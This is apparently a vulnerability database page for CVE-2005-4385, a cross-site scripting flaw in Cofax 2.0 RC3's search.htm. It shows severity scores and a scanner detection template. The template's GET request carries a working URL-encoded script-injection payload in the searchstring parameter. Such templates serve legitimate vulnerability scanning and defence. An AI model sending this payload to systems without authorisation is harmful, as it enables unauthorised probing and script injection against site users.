4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
5.9 Medium
AI Score
Confidence
High
0.003 Low
EPSS
Percentile
69.3%
Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.
id: CVE-2005-4385
info:
name: Cofax <=2.0RC3 - Cross-Site Scripting
author: geeknik
severity: medium
description: Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a version of Cofax that is not affected by this vulnerability or apply the necessary patches provided by the vendor.
reference:
- http://pridels0.blogspot.com/2005/12/cofax-xss-vuln.html
- https://nvd.nist.gov/vuln/detail/CVE-2005-4385
- http://www.vupen.com/english/advisories/2005/2977
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2005-4385
cwe-id: NVD-CWE-Other
epss-score: 0.00294
epss-percentile: 0.68633
cpe: cpe:2.3:a:cofax:cofax:1.9.9c:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cofax
product: cofax
tags: cve2005,cve,cofax,xss
http:
- method: GET
path:
- "{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'>\"</script><script>alert(document.domain)</script>"
- type: status
status:
- 200
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